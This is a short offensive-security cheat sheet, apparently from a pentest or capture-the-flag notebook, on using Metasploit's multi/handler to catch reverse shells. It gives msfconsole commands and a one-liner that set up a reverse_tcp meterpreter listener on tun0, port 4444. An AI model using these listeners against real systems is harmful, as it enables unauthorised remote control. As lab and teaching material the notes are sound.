msfhandler
The msfconsole can be used to catch reverse shells. Some reverse shell may be upgradable to a meterpreter, which is the main goal.
- First, load the exploit, and define LHOST/LPORT
$ msfconsole -q
msf6> use multi/handler
msf6> setg LHOST tun0
msf6> setg LPORT 4444
- Select the payload that would be appropriate
msf6> # warning, payload must match your msfvenom payload
msf6> set PAYLOAD php/meterpreter/reverse_tcp
msf6> grep meterpreter show payloads
msf6> grep reverse_tcp grep Linux show payloads
- Run the catcher, and wait for incoming connections.
msf6> run # Wait for clients
meterpreter> help # See what you can do
β‘οΈ One line command: msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 4444; exploit"
β‘οΈ Your shell may not be a meterpreter, so you may try to upgrade it.
π Refer to msfvenom to generate payloads.